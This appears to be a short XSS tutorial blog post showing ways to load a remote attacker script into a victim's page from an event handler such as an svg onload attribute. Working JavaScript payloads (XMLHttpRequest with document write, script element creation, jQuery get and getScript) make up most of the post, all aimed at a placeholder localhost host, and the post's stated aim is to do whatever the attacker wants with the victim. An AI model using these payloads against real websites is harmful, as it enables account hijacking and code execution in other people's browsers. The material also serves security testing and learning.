Calling Remote Script With Event Handlers

xss-funnelAfter a tester or attacker is able to pop an alert box, the next step is to call an external script to do whatever he/she wants to do with the victim. In scenarios where XSS is not possible with “<script src=//HOST>” or similar, we need to build the request to load our remote code.

So let’s see 5 of possible ways to make this happen, in descending order of payload length. All examples will use “//0” as HOST which points to localhost, having the default index file as the injected script. A CORS header is also needed to make this work for different origins.

All the following can be used like in this example form: <svg onload=PAYLOAD>.

1 – XHR

The old way, but uses too many chars. Response is written in the current document with write() so it needs to contain HTML.

"var x=new XMLHttpRequest();x.open('GET','//0');x.send();
x.onreadystatechange=function(){if(this.readyState==4){write(x.responseText)}}"

2 – Fetch

The new fetch() API makes things easier. Again, response is written and must be HTML.

3 – Create Element

Straightforward, a script element is created in DOM. Response must be javascript code.

with(top)body.appendChild (createElement('script')).src='//0'

4 – jQuery Get

If there’s a native jQuery library loaded in target page, request becomes shorter. Response must be HTML.

$.get('//0',r=>{write(r)})

5 – jQuery Get Script

Like above, but response must be javascript code.

$.getScript('//0')

getscript-xss

In order to make remote calls easier to handle, the following PHP file can be used. It has the CORS requirement and HTML + javascript code combined in such a way that it works with both types of inclusion in the document.

index-html-js

You can host this file locally and test all above payloads here.

#hack2learn